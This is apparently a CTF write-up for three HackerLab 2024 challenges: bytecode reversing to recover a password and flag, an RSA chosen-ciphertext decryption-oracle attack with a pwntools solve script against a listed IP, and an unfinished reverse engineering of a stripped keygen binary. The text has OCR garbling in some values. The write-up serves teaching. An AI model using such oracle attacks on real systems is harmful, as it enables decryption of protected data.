22	LOAD_FAST	1 (lc)
24	LOAD_FAST	2 (uc)
26	BINARY_ADD	
28	LOAD_FAST	3 (dc)
30	BINARY_ADD	
32	LOAD_FAST	1 (lc)
34	LOAD_FAST	0 (n)
36	LOAD_CONST	0 (None)
38	BUILD_SLICE	2
40	BINARY_SUBSCR	
42	LOAD_FAST	1 (lc)
44	LOAD_CONST	0 (None)
46	LOAD_FAST	0 (n)
48	BUILD_SLICE	2
50	BINARY_SUBSCR	
52	BINARY_ADD	
54	LOAD_FAST	2 (uc)
56	LOAD_FAST	0 (n)
58	LOAD_CONST	0 (None)
60	BUILD_SLICE	2
62	BINARY_SUBSCR	
64	BINARY_ADD	
66	LOAD_FAST	2 (uc)
68	LOAD_CONST	0 (None)
70	LOAD_FAST	0 (n)
72	BUILD_SLICE	2
74	BINARY_SUBSCR	
76	BINARY_ADD	
78	LOAD_FAST	3 (dc)
80	LOAD_FAST	0 (n)
82	LOAD_CONST	0 (None)
84	BUILD_SLICE	2
86	BINARY_SUBSCR	
88	BINARY_ADD	
90	LOAD_FAST	3 (dc)
92	LOAD_CONST	0 (None)
94	LOAD_FAST	0 (n)
96	BUILD_SLICE	2
98	BINARY_SUBSCR	
100	BINARY_ADD	
102	CALL_METHOD	2
104	STORE_DEREF	0 (trans)
106	LOAD_CLOSURE	0 (trans)
108	BUILD_TUPLE	1

```

110 LOAD_CONST          1 (<code object <lambda> at
0x7f63b6b4c920, file "keygen2.py", line 21>)
112 LOAD_CONST          2 ('check.<locals>.whippin3.
<locals>.<lambda>')
114 MAKE_FUNCTION        8 (closure)
116 RETURN_VALUE

```

Disassembly of <code object <lambda> at 0x7f63b6b4c920, file "keygen2.py", line 21>:

```

21          0 LOAD_GLOBAL      0 (str)
          2 LOAD_METHOD      1 (translate)
          4 LOAD_FAST        0 (s)
          6 LOAD_DEREF      0 (trans)
          8 CALL_METHOD      2
         10 RETURN_VALUE

```

Looks intimidating at first but it's basically doing this

```

def whippin3(n):
    lc = string.ascii_lowercase
    uc = string.ascii_uppercase
    dc = string.digits

    trans = str.maketrans(
        lc + uc + dc,
        lc[n:] + lc[:n] + uc[n:] + uc[:n] + dc[n:] + dc[:n]
    )

    return lambda s: str.translate(s, trans)

```

Moving on

Disassembly of <code object whippin4 at 0x7f63b6b4cb30, file "keygen2.py", line 22>:

```

23          0 LOAD_FAST        1 (b)
          2 LOAD_GLOBAL      0 (len)
          4 LOAD_FAST        0 (a)
          6 CALL_FUNCTION      1
          8 LOAD_GLOBAL      0 (len)
         10 LOAD_FAST        1 (b)
         12 CALL_FUNCTION      1
         14 BINARY_FLOOR_DIVIDE
         16 LOAD_CONST      1 (1)
         18 BINARY_ADD
         20 BINARY_MULTIPLY

```



```

22 STORE_FAST                2 (b_etx)

24      24 LOAD_CONST          2 (b'')
      26 LOAD_METHOD            1 (join)
      28 LOAD_CONST              3 (<code object <genexpr> at
0x7f63b6b4c9d0, file "keygen2.py", line 24>)
      30 LOAD_CONST              4 ('check.<locals>.whippin4.
<locals>.<genexpr>')
      32 MAKE_FUNCTION            0
      34 LOAD_GLOBAL              2 (zip)
      36 LOAD_FAST                0 (a)
      38 LOAD_METHOD              3 (encode)
      40 CALL_METHOD               0
      42 LOAD_FAST                2 (b_etx)
      44 LOAD_METHOD              3 (encode)
      46 CALL_METHOD               0
      48 CALL_FUNCTION             2
      50 GET_ITER
      52 CALL_FUNCTION             1
      54 CALL_METHOD               1
      56 RETURN_VALUE

```

Disassembly of <code object <genexpr> at 0x7f63b6b4c9d0, file "keygen2.py", line 24>:

```

24      0 LOAD_FAST              0 (.0)
      >>  2 FOR_ITER                  26 (to 30)
      4 UNPACK_SEQUENCE           2
      6 STORE_FAST                1 (c)
      8 STORE_FAST                2 (d)
     10 LOAD_GLOBAL                0 (chr)
     12 LOAD_FAST                  1 (c)
     14 LOAD_FAST                  2 (d)
     16 BINARY_XOR
     18 CALL_FUNCTION              1
     20 LOAD_METHOD                 1 (encode)
     22 CALL_METHOD                0
     24 YIELD_VALUE
     26 POP_TOP
     28 JUMP_ABSOLUTE              2
      >>  30 LOAD_CONST              0 (None)
     32 RETURN_VALUE

```

It does this:

```
def whippin4(a, b):
    b_etx = len(a) // len(b) + 1

    return b''.join(
        chr(c ^ d).encode() for c, d in zip(a.encode(), (b *
b_etx).encode())
    )
```

And finally

```

6          0 LOAD_CONST          1 ('\n password = whippin3(key)
(real_password) to keep real_password safe\n so crypted_password =
dpjLgviGRJJN1IUUFeku1ls8\n I deleted real_password from this check
function\n ')
          2 STORE_FAST          2 (hint)

11         4 LOAD_CONST          2 (-9)
          6 STORE_FAST          3 (key)

12         8 LOAD_CONST          3 (<code object whippin5 at
0x7f63b6b86c90, file "keygen2.py", line 12>)
         10 LOAD_CONST          4 ('check.<locals>.whippin5')
         12 MAKE_FUNCTION        0
         14 STORE_FAST          4 (whippin5)

16        16 LOAD_CONST          5 (<code object whippin3 at
0x7f63b6b4ca80, file "keygen2.py", line 16>)
         18 LOAD_CONST          6 ('check.<locals>.whippin3')
         20 MAKE_FUNCTION        0
         22 STORE_FAST          5 (whippin3)

22        24 LOAD_CONST          7 (<code object whippin4 at
0x7f63b6b4cb30, file "keygen2.py", line 22>)
         26 LOAD_CONST          8 ('check.<locals>.whippin4')
         28 MAKE_FUNCTION        0
         30 STORE_FAST          6 (whippin4)

25        32 LOAD_FAST           4 (whippin5)
         34 LOAD_FAST           6 (whippin4)
         36 LOAD_FAST           0 (username)
         38 LOAD_GLOBAL          0 (real_password)
         40 CALL_FUNCTION        2
         42 CALL_FUNCTION        1
         44 LOAD_FAST           1 (y_key)
         46 COMPARE_OP          2 (==)
```

	48	POP_JUMP_IF_FALSE	86
26	50	LOAD_FAST	0 (username)
	52	LOAD_CONST	9 ('BJIZ-HACKERLAB')
	54	COMPARE_OP	2 (==)
	56	POP_JUMP_IF_FALSE	76
27	58	LOAD_GLOBAL	1 (print)
	60	LOAD_CONST	10 ('Congratz, you can use this flag
to validate :			HLB2024{'')
	62	LOAD_FAST	1 (y_key)
	64	BINARY_ADD	
	66	LOAD_CONST	11 ('}')
	68	BINARY_ADD	
	70	CALL_FUNCTION	1
	72	POP_TOP	
	74	JUMP_ABSOLUTE	94
29	>>	76	LOAD_GLOBAL
		78	LOAD_CONST
HACKERLAB' is the flag")			1 (print)
			12 ("Good, but the key of BJIZ-
	80	CALL_FUNCTION	1
	82	POP_TOP	
	84	JUMP_FORWARD	8 (to 94)
31	>>	86	LOAD_GLOBAL
		88	LOAD_CONST
		90	CALL_FUNCTION
		92	POP_TOP
	>>	94	LOAD_CONST
		96	RETURN_VALUE
			0 (None)
			13 ('Error, checking failed')
			1

Translated to

```
def check(username, y_key):
    hint = "\n password = whippin3(key)(real_password) to keep
real_password safe\n so crypted_password = dpjLgviGRJJN1IUUFeKulls8\n I
deleted real_password from this check function\n"
    key = -9

    if whippin5(whippin4(username, real_password)) == y_key:
        if username == 'BJIZ-HACKERLAB':
            print('Congratz, you can use this flag to validate : HLB2024{' +
y_key + '}')
        else:
```

```
        print("Good, but the key of BJIZ-HACKERLAB' is the flag")
    else:
        print('Error, checking failed')
```

Here's my whole translated code:

```
from dis import dis
from hashlib import md5, sha1
import string

def hint():
    hint = "\n password = whippin3(key)(real_password) to keep
real_password safe\n so crypted_password = dpjLgviGRJJN1IUUFeku1ls8\n I
deleted real_password from this check function\n "
    print(hint)

def whippin5(inpt):
    sh = md5()
    sh.update(inpt)
    return sh.hexdigest()

def whippin3(n):
    lc = string.ascii_lowercase
    uc = string.ascii_uppercase
    dc = string.digits

    trans = str.maketrans(
        lc + uc + dc,
        lc[n:] + lc[:n] + uc[n:] + uc[:n] + dc[n:] + dc[:n]
    )

    return lambda s: str.translate(s, trans)

def whippin4(a, b):
    b_etx = len(a) // len(b) + 1

    return b''.join(
        chr(c ^ d).encode() for c, d in zip(a.encode(), (b *
b_etx).encode())
    )

def check(username, y_key):
    real_password = ?

    if whippin5(whippin4(username, real_password)) == y_key:
```

```

        if username == 'BJIZ-HACKERLAB':
            print('Congratz, you can use this flag to validate : HLB2024{' +
y_key + '}')
        else:
            print("Good, but the key of BJIZ-HACKERLAB' is the flag")
    else:
        print('Error, checking failed')

key = -9
username = "BJIZ-HACKERLAB"
y_key = ""
check(username, y_key)

```

So let's understand what that does exactly

- Function `whippin5` takes a string as the parameter and returns the md5 hash of it
- Function `whippin4` takes two string as the parameter and it returns a generated string formed from a xor operation of the first string with the multiplication of the second string and it's length
- Function `whippin3` takes an integer as the parameter and then generates a mapping table and it returns a lambda function which replaces the parameter passed into it based on the generated mapping
- Function `check` takes two string as the parameter and checks if `whippin5(whippin4(username, real_password))` equals the second parameter
- If it's correct and the username equals `BJIZ-HACKERLAB` we get the flag

So our goal is basically to get the `y_key`

But for that we need the `real_password`

And notice that it wasn't really declared as a variable in any of the functions translated

Calling the `hint` function from my translated code shows this

```

~/Desktop/CTF/Hackerlab24/Keyquest > python3 trans.py
password = whippin3(key)(real_password) to keep real_password safe
so crypted_password = dpjLgviGRJJNIIUUFekulls8
I deleted real_password from this check function

~/Desktop/CTF/Hackerlab24/Keyquest >

```

```
password = whippin3(key)(real_password) to keep real_password safe
so crypted_password = dpjLgviGRJJN1IUUFeku1ls8
I deleted real_password from this check function
```

Basically it's saying that it called function `whippin3` passing the `key` as the parameter and then the lambda function is called passing `real_password` as the parameter where the return value is `dpjLgviGRJJN1IUUFeku1ls8`

So we need to reverse the `whippin3` function to recover the `real_password`

The function basically generates a mapping based on the `n` value passed as the parameter and then maps each key of our input to it's responding value of the map

So let's say the mapping is:

```
mapping = {"A": 1, "B": 2, "C": 3, "D": 4}
```

Then the lambda function basically does this:

```
inp = "ABCD"
result = inp.translate(mapping)

#####
1234
#####
```

So we just need to reverse the mapping

Here's the script I wrote to accomplish that

```
def get_password():
    n = -9

    lc = string.ascii_lowercase
    uc = string.ascii_uppercase
    dc = string.digits

    rev_map = {}

    trans = str.maketrans(
        lc + uc + dc,
        lc[n:] + lc[:n] + uc[n:] + uc[:n] + dc[n:] + dc[:n]
    )
```

```

for i, j in trans.items():
    rev_map[chr(j)] = chr(i)

txt = "dpjLgviGRJJN1IUUFeku1ls8"
pwd = ""

for i in txt:
    pwd += rev_map[i]

return pwd

username = "BJIZ-HACKERLAB"
real_password = get_password()
print(real_password)

```

Running that I got this

```

~/Desktop/CTF/Hackerlab24/Keyquest > python3 solve.py
mysUpErPASSw0RDD0nTd0ub7

~/Desktop/CTF/Hackerlab24/Keyquest > █

```

mysUpErPASSw0RDD0nTd0ub7

Now we just need to pass this into `whippin5(whippin4(username, real_password))` where the username is `BJIZ-HACKERLAB`

Here's my final script

```

import string
from hashlib import md5

def whippin4(a, b):
    b_etx = len(a) // len(b) + 1

    return b''.join(
        chr(c ^ d).encode() for c, d in zip(a.encode(), (b *
b_etx).encode())
    )

def whippin5(inpt):

```

```

sh = md5()
sh.update(inpt)
return sh.hexdigest()

def get_password():
    n = -9

    lc = string.ascii_lowercase
    uc = string.ascii_uppercase
    dc = string.digits

    rev_map = {}

    trans = str.maketrans(
        lc + uc + dc,
        lc[n:] + lc[:n] + uc[n:] + uc[:n] + dc[n:] + dc[:n]
    )

    for i, j in trans.items():
        rev_map[chr(j)] = chr(i)

    txt = "dpjLgviGRJJN1IUUFeku1ls8"
    pwd = ""

    for i in txt:
        pwd += rev_map[i]

    return pwd

username = "BJIZ-HACKERLAB"
real_password = get_password()

print(real_password)

op1 = whippin4(username, real_password)
flag = "HLB2024{" + whippin5(op1) + "}"
print(flag)

```

Running it gives the flag

```

~/Desktop/CTF/Hackerlab24/Keyquest > python3 solve.py
mysUpErPASSw0RdD0nTd0ub7
HLB2024{b024de49126f7475451e90b383acefeb}
~/Desktop/CTF/Hackerlab24/Keyquest >

```


Flag: HLB2024{b024de49126f7475451e90b383acefeb}

CACT

Challenge

1 Solves

✕

CACT

300

Crypto

[FR]

Effectuez un audit de ce système de cryptage des données.

[EN]

Conduct an audit of this data encryption system.

nc 135.125.107.236 1002

Author: **unpasswd**

file.txt

Flag

Submit

We are given a remote instance and an attached file

Checking the file content shows this


```
Λ ~/Desktop/CTF/Hackerlab24/CCTA > cat file.txt
n = 4613630425949749107502754743398982575534468483768041881960072822121846238296239718761859161075284858575069418166779059742800231139056581386876223157477423
c = 1585880071400760185985213638184025215917194522983128484826504841267919523603404117990301573158544069896750034486175560113978175222629578337455123963432173
e = 65537
Λ ~/Desktop/CTF/Hackerlab24/CCTA > |
```

We can tell this is RSA encryption

Connecting to the remote instance shows this

```
Δ ~/Desktop/CTF/Hackerlab24/CCTA > nc 135.125.107.236 1002
Déchiffrement...
Je ne reçois que les types long et je déchiffre tous les messages chiffrés, à l'exception de celui donné dans le contexte.
Message chiffré :
```

I'm not French so on translating that I got this



So this instance seems to decrypt any rsa encrypted message we give it

And the one encrypted message with such exception is that of the provided ciphertext

```
Δ ~/Desktop/CTF/Hackerlab24/CCTA > cat file.txt
n = 4613630425949749107502754743390982575534466483768041881960072822121846238296239718761859161075284858575069418166779059742800231139056581386876223157477423
e = 1585880071400760185985213638184025215917194522983128484826504841267919523603404117990301573158544069896750034486175560113978175222629578337455123963432173
e = 65537
Δ ~/Desktop/CTF/Hackerlab24/CCTA > nc 135.125.107.236 1002
Déchiffrement...
Je ne reçois que les types long et je déchiffre tous les messages chiffrés, à l'exception de celui donné dans le contexte.
Message chiffré : 1585880071400760185985213638184025215917194522983128484826504841267919523603404117990301573158544069896750034486175560113978175222629578337455123963432173
Impossible de déchiffrer ce message
Δ ~/Desktop/CTF/Hackerlab24/CCTA > █
```

The encryption/decryption of RSA is done as this:

$$E = (m ^ e \bmod n) = ct$$
$$D = (ct ^ d \bmod n) = pt$$

In our case we don't have the private exponent d to decrypt the given ciphertext but we do have an oracle which allows us decrypt a message

Because the server check that we don't ask for the decryption of the flag, you can't give it the ciphertext right away, we need to modify it in a way to trick the server into thinking it's something else

The modification must be carefully chosen so that we can revert the process once we get the response of the server

For instance, we can't just add one and expect to subtract 1 from the output

The trick is the multiply the ciphertext with another ciphertext `ct2` from which we know the plaintext

$$ct2 = (2^e) \bmod n$$

Now the new ciphertext that we will send to the server will be:

$$\begin{aligned} C &= ct * ct2 \\ &= (m^e) * (2^e) \\ &= ((2m)^e) \\ &= 2m^e \end{aligned}$$

The server will give you back:

$$\begin{aligned} pt &= (2(C^e)^d) \bmod n \\ &= 2*m \end{aligned}$$

Now we just divide `pt` by 2 and that's the password

Here's my solve script

```
from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *

m = bytes_to_long(b"\x02")
n = 4613630425949749107502754743398982575534468483768041881960072822121846238296
2397187618591610752848585750694181667790597428002311390565813868762231574774
23
e = 65537

ct1 = pow(m, e, n)
ct2 =
```

```
1585880071400760185985213638184025215917194522983128484826504841267919523603
4041179903015731585440698967500344861755601139781752226295783374551239634321
73
```

```
C = ct1 * ct2
```

```
io = remote("135.125.107.236", "1002")
```

```
io.recvuntil(':')
```

```
io.sendline(str(C))
```

```
io.recvline()
```

```
n = int(io.recvline().split(b':')[1][2:].strip())
```

```
m = n // 2
```

```
print(long_to_bytes(m))
```

Running it gives the flag

```
Δ ~/Desktop/CTF/Hackerlab24/CCTA > python3 solve.py
[*] Opening connection to 135.125.107.236 on port 1002: Done
/home/mark/Desktop/CTF/Hackerlab24/CCTA/solve.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil(':')
/home/mark/Desktop/CTF/Hackerlab24/CCTA/solve.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(str(C))
b'HLB2024{CCTA Congratulation_h4ck3r_81955}'
[*] Closed connection to 135.125.107.236 port 1002
Δ ~/Desktop/CTF/Hackerlab24/CCTA > █
```

Flag: HLB2024{CCTA_Congratulation_h4ck3r_81955}

Key Check

Challenge

4 Solves



Keycheck

500

rev

[FR]

Vous venez d'être promu consultant en sécurité informatique à la BJIZ. Votre première mission consiste à retrouver la clé de l'utilisateur BJIZ-HACKERLAB. Nous avons reçu la confirmation qu'une clé valide fournirait des informations cruciales sur notre serveur qui vient d'être attaqué.

[EN]

You have just been promoted to IT security consultant at BJIZ. Your first task is to retrieve the key of the user BJIZ-HACKERLAB. We have received confirmation that a valid key would provide crucial information about our server, which has just been attacked.

Author: 5c0r7

nc 135.125.107.236 2300

keygen1

libcrypto.so....

Flag

Submit

Alright let's get to it

We are given two files:

- keygen1
- libcrypto.so.1.1

After downloading the attachments and trying to execute the `keygen1` file you will see that it doesn't work

```
markhaxor: ~/Desktop/CTF/Hackerlab24 > ls
CTA  FP0  FancyBlog  Integer  Jail  Keycheck  Keyquest  Lady  Notes  Overwrite  Reddington  Rsa1  Search  Seek  Thermal  Trailer  Unveiling  keygen1  libcrypto.so.1.1

markhaxor: ~/Desktop/CTF/Hackerlab24 > chmod +x keygen1

markhaxor: ~/Desktop/CTF/Hackerlab24 > ./key
zsh: no such file or directory: ./key

markhaxor: ~/Desktop/CTF/Hackerlab24 > ./keygen1
./keygen1: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory

markhaxor: ~/Desktop/CTF/Hackerlab24 >
```

The reason is because it couldn't find the shared object file even though the file is there

```
markhaxor: ~/Desktop/CTF/Hackerlab24
File Edit View Search Terminal Help

markhaxor: ~/Desktop/CTF/Hackerlab24 > ldd keygen1
linux-vdso.so.1 (0x00007ffff7fc9000)
libcrypto.so.1.1 => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc1000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc0000)

markhaxor: ~/Desktop/CTF/Hackerlab24 > ls -l libcrypto.so.1.1
-rw-r--r-- 1 mark mark 2958176 Jun  6 17:22 libcrypto.so.1.1

markhaxor: ~/Desktop/CTF/Hackerlab24 >
```

To fix that issue I patched it using `patchelf` to add `libcrypto.so.1.1` among it's shared library

```
markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck > patchelf --add-rpath . keygen1

markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck > ldd keygen1
linux-vdso.so.1 (0x00007ffff7fc9000)
libcrypto.so.1.1 => ./libcrypto.so.1.1 (0x00007ffff7c00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e0000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff79c0000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffff7970000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc0000)

markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck >
```

```
patchelf --add-rpath . keygen1
```

Now we can execute the file

```
markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck
File Edit View Search Terminal Help

markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck > ./keygen1

KEYCHECK

Please enter your username : 0x1337
Dear 0x1337, here's your auth SEED: 691.
You have 6 seconds to enter your key.
Please enter your key : aaaaaaaa

markhaxor: ~/Desktop/CTF/Hackerlab24/Keycheck >
```

Ok greats, now that we can execute it let's reverse engineer it

I'll be using both IDA & Ghidra

Before that we should know that this binary is stripped

```
msf5@msf5: ~/Desktop/CTF/Hackerlab24/Keycheck
File Edit View Search Terminal Help
A ~-~/Desktop/CTF/Hackerlab24/Keycheck > file keygen1
keygen1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1244e12305cb3469f0d3478b625e
a07ba78914f6, stripped
A ~-~/Desktop/CTF/Hackerlab24/Keycheck > 
```

Opening it up in IDA here's the main function

```
IDA View-A Pseudocode-A Hex View-1 Structures Enums Imports Exports
1  int64 __fastcall main(int a1, char **a2, char **a3)
2  {
3      unsigned int v3; // eax
4      unsigned int v4; // ebx
5      int v5; // eax
6      int v6; // r12d
7      time_t v7; // rbx
8      time_t v8; // rax
9      time_t timer; // [rsp+18h] [rbp-58h] BYREF
10     size_t v11; // [rsp+20h] [rbp-50h] BYREF
11     const char *username; // [rsp+28h] [rbp-48h]
12     __int64 hash; // [rsp+30h] [rbp-40h]
13     __int64 odd_hash; // [rsp+38h] [rbp-38h]
14     char *s; // [rsp+40h] [rbp-30h]
15     __int64 processed; // [rsp+48h] [rbp-28h]
16     __int64 result; // [rsp+50h] [rbp-20h]
17     unsigned __int64 v18; // [rsp+58h] [rbp-18h]
18
19     v18 = __readfsqword(0x28u);
20     v3 = time(0LL);
21     srand(v3);
22     flag = getenv("FLAG");
23     if ( !flag )
24     {
25         flag = "FAKE_FLAG";
26     }
27     username = get_username("FLAG");
28     v4 = rand() % 5 + 3;
29     v5 = rand();
30     printf("Dear %s, here's your auth SEED: %d. \nYou have %d seconds to enter your key.\n", username, (v5 % 995 + 5), v4);
31     fflush(stdout);
32     hash = get_hash(username);
33     odd_hash = get_odd(hash);
34     s = malloc(0x100uLL);
35     if ( !s )
36     {
37         exit(1);
38     }
39     printf("Please enter your key : ");
40     fflush(stdout);
41     time(&timer);
42     fgets(s, 256, stdin);
43     v6 = rand() % 5 + 2;
44     v7 = timer;
45     v8 = time(0LL);
46     if ( v6 < difftime(v8, v7) )
47     {
48         puts("Attempt Time Expired.");
49         fflush(stdout);
50     }
51     v11 = strlen(s);
52     if ( v11 == 1 )
53     {
54         exit(1);
55     }
56     processed = process_key(s, v11, &v11);
57     if ( !processed )
58     {
59         puts("Error when processing key");
60         fflush(stdout);
61         exit(1);
62     }
63     result = xor(odd_hash, processed);
64     if ( check_regex(result) != 1 )
65     {
66         puts("Incorrect Username or key");
67         fflush(stdout);
68         exit(1);
69     }
70     compute(result, username);
71     return 0LL;
72 }
```

```
IDA View-A Pseudocode-A Hex View-1 Structures Enums Imports Exports
30 hash = get_hash(username);
31 odd_hash = get_odd(hash);
32 s = malloc(0x100uLL);
33 if ( !s )
34 {
35     exit(1);
36 }
37 printf("Please enter your key : ");
38 fflush(stdout);
39 time(&timer);
40 fgets(s, 256, stdin);
41 v6 = rand() % 5 + 2;
42 v7 = timer;
43 v8 = time(0LL);
44 if ( v6 < difftime(v8, v7) )
45 {
46     puts("Attempt Time Expired.");
47     fflush(stdout);
48 }
49 v11 = strlen(s);
50 if ( v11 == 1 )
51 {
52     exit(1);
53 }
54 processed = process_key(s, v11, &v11);
55 if ( !processed )
56 {
57     puts("Error when processing key");
58     fflush(stdout);
59     exit(1);
60 }
61 result = xor(odd_hash, processed);
62 if ( check_regex(result) != 1 )
63 {
64     puts("Incorrect Username or key");
65     fflush(stdout);
66     exit(1);
67 }
68 compute(result, username);
69 return 0LL;
70 }
```

I already renamed most function and variables for better understanding

```

__int64 __fastcall main(int a1, char **a2, char **a3)
{
    unsigned int v3; // eax
    unsigned int v4; // ebx
    int v5; // eax
    int v6; // r12d
    time_t v7; // rbx
    time_t v8; // rax
    time_t timer; // [rsp+18h] [rbp-58h] BYREF
    size_t v11; // [rsp+20h] [rbp-50h] BYREF
    const char *username; // [rsp+28h] [rbp-48h]
    __int64 hash; // [rsp+30h] [rbp-40h]
    __int64 odd_hash; // [rsp+38h] [rbp-38h]
    char *s; // [rsp+40h] [rbp-30h]
    __int64 processed; // [rsp+48h] [rbp-28h]
    __int64 result; // [rsp+50h] [rbp-20h]
    unsigned __int64 v18; // [rsp+58h] [rbp-18h]

    v18 = __readfsqword(0x28u);
    v3 = time(0LL);
    srand(v3);
    flag = getenv("FLAG");
    if ( !flag )
        flag = "FAKE_FLAG";
    username = get_username("FLAG");
    v4 = rand() % 5 + 3;
    v5 = rand();
    printf("Dear %s, here's your auth SEED: %d. \nYou have %d seconds to enter\n", username, (v5 % 995 + 5), v4);
    fflush(stdout);
    hash = get_hash(username);
    odd_hash = get_odd(hash);
    s = malloc(0x100uLL);
    if ( !s )
        exit(1);
    printf("Please enter your key : ");
    fflush(stdout);
    time(&timer);
    fgets(s, 256, stdin);
    v6 = rand() % 5 + 2;
    v7 = timer;
    v8 = time(0LL);
    if ( v6 < difftime(v8, v7) )
    {
        puts("Attempt Time Expired.");
        fflush(stdout);
    }
}

```



```

}
v11 = strlen(s);
if ( v11 == 1 )
    exit(1);
processed = process_key(s, v11, &v11);
if ( !processed )
{
    puts("Error when processing key");
    fflush(stdout);
    exit(1);
}
result = xor(odd_hash, processed);
if ( check_regex(result) != 1 )
{
    puts("Incorrect Username or key");
    fflush(stdout);
    exit(1);
}
compute(result, username);
return 0LL;
}

```

Ok so let's go through what this function does:

- First it stores the flag into a global variable which is loaded from the environment variable
- Calls the `get_username()` function which then stores its return value to variable `username`
- It generates some random variable which is used as the time counter for us to enter the key
- Calls `get_hash()` function passing our `username` as the parameter and the result is stored into `hash`
- Calls the `get_odd()` function passing the generated hash as the parameter and the result is stored into `odd_hash`
- It receives our input which is stored into the malloc'd pointer as the `key`
- If the current time is greater than the time counter value it would exit
- Moving on if it doesn't exit it gets the length of provided `key` and calls the `process_key()` function passing the `key`, the `key` length and the address of the `key` length as the parameter and the result is stored into variable `processed`
- If there's some form of error during the key processing it would let us know then exit
- Moving on if that isn't the case it would call the `xor()` function passing `odd_hash` & `processed` as the parameter and the result is stored into variable `result`

- It then calls the `check_regex()` function passing the `result` as the parameter and if that function doesn't return `1` it would exit
- Finally it calls the `compute()` function passing the `result` & `username` as the parameter

All the function which I've renamed does what the name says


But I'll be giving the decompiled code for them all

Function `get_username()`

```
IDA View-A X Pseudocode-A X Hex View-1 X Structures Enums Imports Exports  
1 char *get_username()  
2 {  
3     char *s; // [rsp+0h] [rbp-10h]  
4     size_t v2; // [rsp+8h] [rbp-8h]  
5  
6     puts(  
7         "\n"  
8         "\n"  
9         "  
10        | / / | _ \ \ / / | _ | _ | _ | _ | _ | _ | _ | _ | _ \n"  
11        "| ' / | _ | _ \ \ V / | _ | _ | _ | _ | _ | _ | ' \n"  
12        "| ' \ \ | _ | _ | _ | _ | _ | _ | _ | _ | _ \n"  
13        "|_|_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||\n");  
14     fflush(stdout);  
15     s = malloc(0x100uLL);  
16     if ( !s )  
17         exit(1);  
18     printf("Please enter your username : ");  
19     fflush(stdout);  
20     fgets(s, 256, stdin);  
21     v2 = strlen(s);  
22     if ( v2 == 1 )  
23         exit(1);  
24     if ( s[v2 - 1] == '\n' )  
25         s[v2 - 1] = 0;  
26     return s;  
27 }
```

- This would receive our input and strip the new line character where the final result is returned

Function `get_hash(username)`



The screenshot shows the IDA Pro interface with the Pseudocode-A view selected. The function `get_hash` is defined as `__fastcall get_hash(const char *a1)`. The pseudocode is as follows:

```
1 char *__fastcall get_hash(const char *a1)
2 {
3     size_t v1; // rax
4     int i; // [rsp+14h] [rbp-ACh]
5     char *v4; // [rsp+18h] [rbp-A8h]
6     char v5[112]; // [rsp+20h] [rbp-A0h] BYREF
7     char v6[40]; // [rsp+90h] [rbp-30h] BYREF
8     unsigned __int64 v7; // [rsp+B8h] [rbp-8h]
9
10    v7 = __readfsqword(0x28u);
11    SHA256_Init(v5);
12    v1 = strlen(a1);
13    SHA256_Update(v5, a1, v1);
14    SHA256_Final(v6, v5);
15    v4 = malloc(0x41uLL);
16    if ( !v4 )
17        exit(1);
18    for ( i = 0; i <= 31; ++i )
19        sprintf(&v4[2 * i], "%02x", v6[i]);
20    v4[64] = 0;
21    return v4;
22 }
```


The status bar at the bottom indicates the current address is `00001686` and the function is `get_hash:1 (1686)`.

```
char *__fastcall get_hash(const char *a1)
{
    size_t v1; // rax
    int i; // [rsp+14h] [rbp-ACh]
    char *v4; // [rsp+18h] [rbp-A8h]
    char v5[112]; // [rsp+20h] [rbp-A0h] BYREF
    char v6[40]; // [rsp+90h] [rbp-30h] BYREF
    unsigned __int64 v7; // [rsp+B8h] [rbp-8h]

    v7 = __readfsqword(0x28u);
    SHA256_Init(v5);
    v1 = strlen(a1);
    SHA256_Update(v5, a1, v1);
    SHA256_Final(v6, v5);
    v4 = malloc(0x41uLL);
    if ( !v4 )
        exit(1);
    for ( i = 0; i <= 31; ++i )
        sprintf(&v4[2 * i], "%02x", v6[i]);
    v4[64] = 0;
    return v4;
}
```

- Generates the `sha256` hash of the username

Function `get_odd(hash)`



The screenshot shows the IDA Pro interface with the 'Pseudocode-A' window selected. The function `get_odd` is defined as follows:

```
1 _BYTE *__fastcall get_odd(const char *hash)
2 {
3     int idx; // [rsp+10h] [rbp-20h]
4     int i; // [rsp+14h] [rbp-1Ch]
5     _BYTE *ptr; // [rsp+18h] [rbp-18h]
6
7     ptr = malloc(0x1EuLL);
8     if ( !ptr )
9         exit(1);
10    idx = 0;
11    for ( i = 0; i < strlen(hash); ++i )
12    {
13        if ( (i & 1) != 0 )
14        {
15            ptr[idx++] = hash[i];
16            if ( idx == 29 )
17                break;
18        }
19    }
20    ptr[idx] = 0;
21    return ptr;
22 }
```

```
_BYTE *__fastcall get_odd(const char *hash)
{
    int idx; // [rsp+10h] [rbp-20h]
    int i; // [rsp+14h] [rbp-1Ch]
    _BYTE *ptr; // [rsp+18h] [rbp-18h]

    ptr = malloc(0x1EuLL);
    if ( !ptr )
        exit(1);
    idx = 0;
    for ( i = 0; i < strlen(hash); ++i )
    {
        if ( (i & 1) != 0 )
        {
            ptr[idx++] = hash[i];
            if ( idx == 29 )
                break;
        }
    }
    ptr[idx] = 0;
    return ptr;
}
```

- Gets all the value from the hash from range 0-29 where it's index is an odd number

Function process_key(key, key_len, key_addr)

```
IDA View-A | Pseudocode-A | Hex View-1 | Structures | Enums | Imports | Exports
